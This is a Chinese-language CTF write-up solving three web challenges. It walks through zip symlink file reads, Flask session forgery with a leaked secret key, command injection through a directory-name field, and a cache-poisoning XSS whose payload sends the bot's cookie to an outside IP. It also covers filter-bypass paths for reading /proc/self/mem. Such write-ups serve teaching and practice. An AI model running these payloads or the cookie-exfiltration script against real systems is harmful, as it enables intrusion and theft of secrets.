n1ctf web online_unzipper 先注册个账号登录上去看看,发现可以上传 ZIP 文件解压,可以上传zip文件还能解压的首先先尝试软连接读取文件
这里由于一开始网站问题没有附件所以当黑盒做的
尝试读取源文件ln -s /app/app.py testzip -y test.zip test 成功读取源文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 import os import uuid from flask import Flask, request, redirect, url_for,send_file,render_template, session, send_from_directory, abort, Response app = Flask(__name__) app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key") UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads") os.makedirs(UPLOAD_FOLDER, exist_ok=True) users = {} @app.route("/") def index(): if "username" not in session: return redirect(url_for("login")) return redirect(url_for("upload")) @app.route("/register", methods=["GET", "POST"]) def register(): if request.method == "POST": username = request.form["username"] password = request.form["password"] if username in users: return "用户名已存在" users[username] = {"password": password, "role": "user"} return redirect(url_for("login")) return render_template("register.html") @app.route("/login", methods=["GET", "POST"]) def login(): if request.method == "POST": username = request.form["username"] password = request.form["password"] if username in users and users[username]["password"] == password: session["username"] = username session["role"] = users[username]["role"] return redirect(url_for("upload")) else: return "用户名或密码错误" return render_template("login.html") @app.route("/logout") def logout(): session.clear() return redirect(url_for("login")) @app.route("/upload", methods=["GET", "POST"]) def upload(): if "username" not in session: return redirect(url_for("login")) if request.method == "POST": file = request.files["file"] if not file: return "未选择文件" role = session["role"] if role == "admin": dirname = request.form.get("dirname") or str(uuid.uuid4()) else: dirname = str(uuid.uuid4()) target_dir = os.path.join(UPLOAD_FOLDER, dirname) os.makedirs(target_dir, exist_ok=True) zip_path = os.path.join(target_dir, "upload.zip") file.save(zip_path) try: os.system(f"unzip -o {zip_path} -d {target_dir}") except: return "解压失败,请检查文件格式" os.remove(zip_path) return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>" return render_template("upload.html") @app.route("/download/<folder>") def download(folder): target_dir = os.path.join(UPLOAD_FOLDER, folder) if not os.path.exists(target_dir): abort(404) files = os.listdir(target_dir) return render_template("download.html", folder=folder, files=files) @app.route("/download/<folder>/<filename>") def download_file(folder, filename): file_path = os.path.join(UPLOAD_FOLDER, folder ,filename) try: with open(file_path, 'r') as file: content = file.read() return Response( content, mimetype="application/octet-stream", headers={ "Content-Disposition": f"attachment; filename={filename}" } ) except FileNotFoundError: return "File not found", 404 except Exception as e: return f"Error: {str(e)}", 500 if __name__ == "__main__": app.run(host="0.0.0.0")
这里flask秘钥是从环境变量读的,我们软连接读一下环境变量ln -s /proc/1/environ testzip -y test.zip test 结果如下
1 CONSOLE_WEB_SERVICE_PORT=80BLUEHATCUP_LANDING_PORT_80_TCP=tcp://192.168.61.162:80CTF_GO_PORT_1235_TCP_PROTO=tcpCONSOLE_WEB_PORT=tcp://192.168.136.246:80KUBERNETES_PORT=tcp://192.168.0.1:443CTF_GO_SERVICE_HOST=192.168.209.132KUBERNETES_SERVICE_PORT=443GATEWAY_PORT_3000_TCP_PORT=3000GATEWAY_PORT_3000_TCP_PROTO=tcpHOSTNAME=t87281457269073132-comp-online-unziper-92938366630323508krksdCTF_EXPOSED_PORT=tcp://192.168.111.190:1236BOSS_WEB_PORT_80_TCP_ADDR=192.168.46.124CTF_EXPOSED_SERVICE_PORT=1236GATEWAY_SERVICE_PORT_HTTP=3000CTF_EXPOSED_SERVICE_PORT_TCP_1236=1236PORTAL_WEB_PORT_80_TCP=tcp://192.168.231.235:80CTF_EXPOSED_PORT_1236_TCP=tcp://192.168.111.190:1236CTF_DASHBOARD_PORT_80_TCP_ADDR=192.168.197.106CONSOLE_WEB_PORT_80_TCP_ADDR=192.168.136.246HOME=/rootBOSS_WEB_PORT_80_TCP_PORT=80CTF_GO_PORT_1234_TCP=tcp://192.168.209.132:1234BLUEHATCUP_LANDING_SERVICE_PORT_HTTP=80CTF_GO_SERVICE_PORT=1234CTF_DASHBOARD_PORT_80_TCP_PORT=80CTF_GO_PORT=tcp://192.168.209.132:1234CTF_GO_PORT_1235_TCP=tcp://192.168.209.132:1235BOSS_WEB_PORT_80_TCP_PROTO=tcpGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DCONSOLE_WEB_PORT_80_TCP_PORT=80CTF_DASHBOARD_PORT_80_TCP_PROTO=tcpCONSOLE_WEB_PORT_80_TCP_PROTO=tcpPYTHON_SHA256=8fb5f9fbc7609fa822cb31549884575db7fd9657cbffb89510b5d7975963a83aGATEWAY_PORT_3000_TCP=tcp://192.168.221.45:3000BOSS_PORT_3000_TCP_ADDR=192.168.145.210PORTAL_WEB_SERVICE_PORT_HTTP=80GATEWAY_SERVICE_HOST=192.168.221.45BLUEHATCUP_LANDING_SERVICE_HOST=192.168.61.162FLASK_APP=app.pyBOSS_PORT_3000_TCP_PORT=3000BOSS_WEB_PORT_80_TCP=tcp://192.168.46.124:80BOSS_PORT_3000_TCP_PROTO=tcpCTF_DASHBOARD_PORT_80_TCP=tcp://192.168.197.106:80CONSOLE_WEB_PORT_80_TCP=tcp://192.168.136.246:80FLASK_RUN_HOST=0.0.0.0GATEWAY_SERVICE_PORT=3000KUBERNETES_PORT_443_TCP_ADDR=192.168.0.1GATEWAY_PORT=tcp://192.168.221.45:3000PORTAL_WEB_SERVICE_HOST=192.168.231.235PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binBLUEHATCUP_LANDING_PORT=tcp://192.168.61.162:80BLUEHATCUP_LANDING_SERVICE_PORT=80CLOUDPILOT_PORT_8000_TCP_ADDR=192.168.213.82KUBERNETES_PORT_443_TCP_PORT=443BOSS_WEB_SERVICE_PORT_HTTP=80KUBERNETES_PORT_443_TCP_PROTO=tcpLANG=C.UTF-8BOSS_PORT_3000_TCP=tcp://192.168.145.210:3000CLOUDPILOT_PORT_8000_TCP_PORT=8000CTF_DASHBOARD_SERVICE_PORT_HTTP=80BOSS_SERVICE_HOST=192.168.145.210CONSOLE_WEB_SERVICE_PORT_HTTP=80CLOUDPILOT_PORT_8000_TCP_PROTO=tcpFLASK_SECRET_KEY=#mu0cw9F#7bBCoF!PORTAL_WEB_PORT=tcp://192.168.231.235:80PORTAL_WEB_SERVICE_PORT=80BLUEHATCUP_LANDING_PORT_80_TCP_ADDR=192.168.61.162PYTHON_VERSION=3.11.13CTF_GO_SERVICE_PORT_FRONT=1235CLOUDPILOT_SERVICE_HOST=192.168.213.82BOSS_WEB_SERVICE_HOST=192.168.46.124BLUEHATCUP_LANDING_PORT_80_TCP_PORT=80BLUEHATCUP_LANDING_PORT_80_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP=tcp://192.168.0.1:443CTF_DASHBOARD_SERVICE_HOST=192.168.197.106KUBERNETES_SERVICE_PORT_HTTPS=443BOSS_SERVICE_PORT=3000PORTAL_WEB_PORT_80_TCP_ADDR=192.168.231.235CONSOLE_WEB_SERVICE_HOST=192.168.136.246CTF_EXPOSED_PORT_1236_TCP_ADDR=192.168.111.190BOSS_PORT=tcp://192.168.145.210:3000CLOUDPILOT_PORT_8000_TCP=tcp://192.168.213.82:8000KUBERNETES_SERVICE_HOST=192.168.0.1PWD=/appCTF_GO_PORT_1234_TCP_ADDR=192.168.209.132CTF_GO_PORT_1235_TCP_ADDR=192.168.209.132CTF_GO_SERVICE_PORT_ADMIN=1234CTF_EXPOSED_PORT_1236_TCP_PORT=1236PORTAL_WEB_PORT_80_TCP_PORT=80CTF_EXPOSED_SERVICE_HOST=192.168.111.190CTF_EXPOSED_PORT_1236_TCP_PROTO=tcpCLOUDPILOT_SERVICE_PORT=8000CLOUDPILOT_PORT=tcp://192.168.213.82:8000PORTAL_WEB_PORT_80_TCP_PROTO=tcpCTF_GO_PORT_1234_TCP_PORT=1234BOSS_WEB_SERVICE_PORT=80CLOUDPILOT_SERVICE_PORT_API=8000BOSS_SERVICE_PORT_WEB=3000BOSS_WEB_PORT=tcp://192.168.46.124:80FLAG=CTF_GO_PORT_1235_TCP_PORT=1235CTF_DASHBOARD_PORT=tcp://192.168.197.106:80GATEWAY_PORT_3000_TCP_ADDR=192.168.221.45CTF_DASHBOARD_SERVICE_PORT=80CTF_GO_PORT_1234_TCP_PROTO=tcp
重点为FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!,读取到flask的密钥即可进行签名伪造登录admin账号,从而可以控制dirname这个变量进行命令执行 生成一下伪造的session
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from flask.sessions import TaggedJSONSerializer from itsdangerous import URLSafeTimedSerializer import hashlib secret_key = '#mu0cw9F#7bBCoF!' session_data = {'username': 'admin',"role": "admin"} # 使用与 Flask 相同的序列化器 serializer = TaggedJSONSerializer() signer_kwargs = { 'key_derivation': 'hmac', 'digest_method': hashlib.sha1 } s = URLSafeTimedSerializer( secret_key, salt='cookie-session', serializer=serializer, signer_kwargs=signer_kwargs ) # 生成伪造的 Cookie fake_cookie = s.dumps(session_data) print("伪造的 Cookie:", fake_cookie)
然后即可登录admin账号 这里利用;进行命令执行即可 传入如下参数到dirname变量123;mkdir static123;ls / > ./static/1.txt 拿到flag的名称(这里再软连接读也行,但是没必要了)123;cat /flag-dK4ClHbfHqvrORCW1bgrSgeZgQNmHVht.txt > ./static/1.txt 获取flag
Unfinished 先审一下源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required import requests from markupsafe import escape from playwright.sync_api import sync_playwright import os app = Flask(__name__) app.config['SECRET_KEY'] = 'your-secret-key-here' login_manager = LoginManager() login_manager.init_app(app) login_manager.login_view = 'login' class User(UserMixin): def __init__(self, id, username, password, bio=""): self.id = id self.username = username self.password = password self.bio = bio admin_password = os.urandom(12).hex() USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)} USER_ID_COUNTER = 1 @login_manager.user_loader def load_user(user_id): for user in USERS_DB.values(): if str(user.id) == user_id: return user return None @app.route('/') def index(): return render_template('index.html') @app.route('/register', methods=['GET', 'POST']) def register(): global USER_ID_COUNTER if request.method == 'POST': username = request.form['username'] if username in USERS_DB: flash('Username already exists.') return redirect(url_for('register')) USER_ID_COUNTER += 1 new_user = User( id=USER_ID_COUNTER, username=username, password=request.form['password'] ) USERS_DB[username] = new_user login_user(new_user) response = make_response(redirect(url_for('index'))) response.set_cookie('ticket', 'your_ticket_value') return response return render_template('register.html') @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] user = USERS_DB.get(username) if user and user.password == password: login_user(user) return redirect(url_for('index')) flash('Invalid credentials.') return render_template('login.html') @app.route('/logout') @login_required def logout(): logout_user() return redirect(url_for('index')) @app.route('/profile', methods=['GET', 'POST']) @login_required def profile(): if request.method == 'POST': current_user.bio = request.form['bio'] print(current_user.bio) return redirect(url_for('index')) return render_template('profile.html') @app.route('/ticket', methods=['GET', 'POST']) def ticket(): if request.method == 'POST': ticket = request.form['ticket'] response = make_response(redirect(url_for('index'))) response.set_cookie('ticket', ticket) return response return render_template('ticket.html') @app.route("/view", methods=["GET"]) @login_required def view_user(): """ # I found a bug in it. # Until I fix it, I've banned /api/bio/. Have fun :) """ username = request.args.get("username",default=current_user.username) visit_url(f"http://localhost/api/bio/{username}") template = f""" {{% extends "base.html" %}} {{% block title %}}success{{% endblock %}} {{% block content %}} <h1>bot will visit your bio</h1> <p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p> {{% endblock %}} """ return render_template_string(template) @app.route("/api/bio/<string:username>", methods=["GET"]) @login_required def get_user_bio(username): if not current_user.username == username: return "Unauthorized", 401 user = USERS_DB.get(username) if not user: return "User not found.", 404 return user.bio def visit_url(url): try: flag_value = os.environ.get('FLAG', 'flag{fake}') with sync_playwright() as p: browser = p.chromium.launch(headless=True, args=["--no-sandbox"]) context = browser.new_context() context.add_cookies([{ 'name': 'flag', 'value': flag_value, 'domain': 'localhost', 'path': '/', 'httponly': True }]) page = context.new_page() page.goto("http://localhost/login", timeout=5000) page.fill("input[name='username']", "admin") page.fill("input[name='password']", admin_password) page.click("input[name='submit']") page.wait_for_timeout(3000) page.goto(url, timeout=5000) page.wait_for_timeout(5000) browser.close() except Exception as e: print(f"Bot error: {str(e)}") if __name__ == "__main__": app.run(host='0.0.0.0', port=5000)
这秘钥怎么似曾相识,上次做lmtx的题没注意秘钥这次得注意了 先试试flask签名伪造登录admin账号的,这里先注册一个账号,解码session看看里面的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from itsdangerous import URLSafeTimedSerializer import flask.sessions import base64 import zlib import json # 解码原始session数据部分(第一部分) def decode_session_data(encoded_data): # 移除开头的点,Base64解码 data = base64.urlsafe_b64decode(encoded_data.lstrip('.') + '==') # 解压数据(Flask默认压缩) data = zlib.decompress(data) # 反序列化JSON return json.loads(data) # 示例:解码你提供的session第一部分 raw_data2 = ".eJxFjkkOwkAMBP_iM4dZPIvzmcieaQuuCTkh_k4ikDiWVOquF62-Yb_T8twO3Gh9TFqoNUzPFdnENYTaUnWuXY0zbGZWH7GzKNcxuqasElBk9oQZsiHBNRVYGd4gOG2ITXGMUrtF9XPbohcFePDPScZd_HrMTGfIsWP71lz4p0TvD3KzNm8.aMUq7w.BY-v3KaNFbp49JmTQwGPgcCAEwo" raw_data1 = ".eJxNjjkOwzAMBP-iOoUsUgf9GYOUlkhaO66C_D0KnCLlAIPdeYXNdxz3sD73E7ewPUZYQ60YTgVk4hpjqak4l6bGBBvE6n1pLMql96aJVCKyjJYwIhkSXFOG5e4VgmlDbIij59JsUZ_btnhWgDv_nGTcxL-PxGGGnAf2qyZN_Kf3B3KRNm0.aMUqFA.rUmtodOMbK5YM2SJGWF-JGwqbeI" print(decode_session_data(raw_data2))
结果如下{ '_fresh': True, '_id': '77edf36e3b9fa006726f468ab43ebd34afc1849a46cc8a23a90e59d82ed03be2efa25eb5cf7e9eafce9bd9fec568b1aff36b1f5aee4c4f7e9eaf2b489f3b9f34', '_user_id': '2', 'user_id': '2' } 这里不确定具体哪个参数起作用,再注册一个{ '_fresh': True, '_id': '77edf36e3b9fa006726f468ab43ebd34afc1849a46cc8a23a90e59d82ed03be2efa25eb5cf7e9eafce9bd9fec568b1aff36b1f5aee4c4f7e9eaf2b489f3b9f34', '_user_id': '3', 'user_id': '2' } 可以看到_user_id代表用户id,源代码给出的admin的id为1,伪造session
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from flask import Flask from flask.sessions import SecureCookieSessionInterface app = Flask(__name__) app.config['SECRET_KEY'] = 'your-secret-key-here' # 创建会话序列化器 session_serializer = SecureCookieSessionInterface().get_signing_serializer(app) session_data = { '_fresh': True, '_id': '77edf36e3b9fa006726f468ab43ebd34afc1849a46cc8a23a90e59d82ed03be2efa25eb5cf7e9eafce9bd9fec568b1aff36b1f5aee4c4f7e9eaf2b489f3b9f34', '_user_id': '1', 'user_id': '2' } # 生成cookie值 cookie_value = session_serializer.dumps(session_data) print(f"伪造的session cookie: {cookie_value}")
传入cookiesession=.eJxFjjkOAkEMBP_imGAOz-H9DLJn2oJ0l40Qf2cQSIQllbrrSVffcdxoe-wnLnS9T9qoNUzPFdnENYTaUnWuXY0zbGZWH7GzKNcxuqasElBk9oQZsiHBNRVYGd4gWDbEpjhGqd2i-tq26EUBHvxzknEX_zxmphVyHti_NXHhnxK93nKANmw.aMaDrw.yOIX0k0Nc547qva9C2poB_YAo3E 成功访问admin的页面 然后能访问admin页面有什么用呢,很遗憾,没什么用( 这里的考点并不在此,只是想记录一下flask签名伪造登录admin账号的过程 之前L3HCTF做过一道缓存投毒的题,这里附件中的nginx.conf配置文件配置了.js和.css都会进行缓存
1 2 3 4 5 6 location ~ \.(css|js)$ { proxy_pass http://127.0.0.1:5000; proxy_ignore_headers Vary; proxy_cache static_cache; proxy_cache_valid 200 10m; }
同时我们也可以注册带有.js或.css后缀的用户名,来进行缓存投毒,这里我们注册一个f.js用户,然后访问/api/bio/f.js,即可发现可以成功访问而并非403,并且在一段时间内会缓存第一次访问的内容,这也就是缓存投毒。 docker启动后后台也能看出来是可以成功访问的 然后我们先尝试xss,在a.js的bio中写入xss代码<script>alert(1)</script> 虽然在主页面被转义,但是访问/api/bio/a.js成功触发弹窗 然后尝试获取bot的cookie中的flag 在bio中写入payload
1 <script> new Image().src="http://175.27.254.146/cookie.asp?cookie="+document.cookie </script>
这里我们先访问一次/api/bio/f.js投毒,然后再触发/view让bot访问我们第一次访问的界面触发xss 成功拿到flag
Peek a Fork 感觉这道题也可以不给源代码,因为dirsearch可以扫出来/entrypoint.sh,一开始也是当黑盒做的 扫到/entrypoint.sh后判断可能存在文件读取漏洞,/entrypoint.sh中也给出了server.py的文件名,尝试访问/server.py成功读取源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 import socket import os import hashlib import fcntl import re import mmap with open('flag.txt', 'rb') as f: flag = f.read() mm = mmap.mmap(-1, len(flag)) mm.write(flag) os.remove('flag.txt') FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./'] PAGE = """<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Secure Gateway</title> <style> body { font-family: 'Courier New', monospace; background-color: #0c0c0c; color: #00ff00; text-align: center; margin-top: 10%; } .container { border: 1px solid #00ff00; padding: 2rem; display: inline-block; } h1 { font-size: 2.5rem; text-shadow: 0 0 5px #00ff00; } p { font-size: 1.2rem; } .status { color: #ffff00; } </style> </head> <body> <div class="container"> <h1>Firewall</h1> <p class="status">STATUS: All systems operational.</p> <p>Your connection has been inspected.</p> </div> </body> </html>""" def handle_connection(conn, addr, log, factor=1): try: conn.settimeout(10.0) if log: with open('log.txt', 'a') as f: fcntl.flock(f, fcntl.LOCK_EX) log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode() for _ in range(factor): log_bytes = hashlib.sha3_256(log_bytes).digest() log_entry = log_bytes.hex() + "\n" f.write(log_entry) request_data = conn.recv(256) if not request_data.startswith(b"GET /"): response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request" conn.sendall(response) return try: path = request_data.split(b' ')[1] pattern = rb'\?offset=(\d+)&length=(\d+)' offset = 0 length = -1 match = re.search(pattern, path) if match: offset = int(match.group(1).decode()) length = int(match.group(2).decode()) clean_path = re.sub(pattern, b'', path) filename = clean_path.strip(b'/').decode() else: filename = path.strip(b'/').decode() except Exception: response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request" conn.sendall(response) return if not filename: response_body = PAGE response_status = "200 OK" else: try: with open(os.path.normpath(filename), 'rb') as f: if offset > 0: f.seek(offset) data_bytes = f.read(length) response_body = data_bytes.decode('utf-8', 'ignore') response_status = "200 OK" except Exception as e: response_body = f"Invalid path" response_status = "500 Internal Server Error" response = f"HTTP/1.1 {response_status}\r\nContent-Length: {len(response_body)}\r\n\r\n{response_body}" conn.sendall(response.encode()) except Exception: pass finally: conn.close() os._exit(0) def main(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', 1337)) server.listen(50) print(f"Server listening on port 1337...") while True: try: pid, status = os.waitpid(-1, os.WNOHANG) except ChildProcessError: pass conn, addr = server.accept() initial_data = conn.recv(256, socket.MSG_PEEK) if any(term in initial_data.lower() for term in FORBIDDEN): conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.") conn.close() continue if initial_data.startswith(b'GET /?log=1'): try: factor = 1 pattern = rb"&factor=(\d+)" match = re.search(pattern, initial_data) if match: factor = int(match.group(1).decode()) pid = os.fork() if pid == 0: server.close() handle_connection(conn, addr, True, factor) except Exception as e: print("[ERROR]: ", e) finally: conn.close() continue else: pid = os.fork() if pid == 0: server.close() handle_connection(conn, addr, False) conn.close() if __name__ == '__main__': main()
这里flag.txt被存在内存中,然后文件被删除,需要读取/proc/self/maps查看内存映射,然后再通过/proc/self/mem加上偏移量读取对应内存,源代码中的f.seek(offset)很显然也是为了我们能够读取内存准备的 这里需要绕过黑名单的过滤,一开始看题目名想的是利用log的factor参数传入256个字节数据堵塞主进程,然后再传入危险路径,使主进程PEEK的数据是log对应的数据,进而绕过(但是好像不行) 这里看这一段源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 try: path = request_data.split(b' ')[1] pattern = rb'\?offset=(\d+)&length=(\d+)' offset = 0 length = -1 match = re.search(pattern, path) if match: offset = int(match.group(1).decode()) length = int(match.group(2).decode()) clean_path = re.sub(pattern, b'', path) filename = clean_path.strip(b'/').decode() else: filename = path.strip(b'/').decode()
这里他会检测你传入的数据中是否含有?offset=(\d+)&length=(\d+),然后读取并删除,也就是如果我们传入这一段?offset=(\d+)&length=(\d+)在传入的数据中即可将我们的数据截断,同时在后端处理后变回正常数据 如我们传入/server?offset=(\d+)&length=(\d+)ver.py即可解析为/server.py 这里要读取/proc/self/maps还要进行一下路径穿越,因为传入的数据会按/app/{filename}进行读取,也是一样的方法绕过过滤,payload如下/.?offset=0&length=10000.?offset=0&length=10000/pr?offset=0&length=10000oc/self/maps 成功读取/proc/self/maps 在其中寻找匿名映射区域
匿名映射通常没有关联的文件名,或者显示为/dev/zero (deleted)
找到这一行7f5a99aec000-7f5a99aed000 rw-s 00000000 00:01 9238 /dev/zero (deleted) 为rw-s权限,尝试利用偏移进行读取,将16进制的地址转为10进制传入,payload如下/.?offset=140027102150656&length=1000.?offset=0&length=1000/pr?offset=0&length=1000oc/self/mem 成功读取flag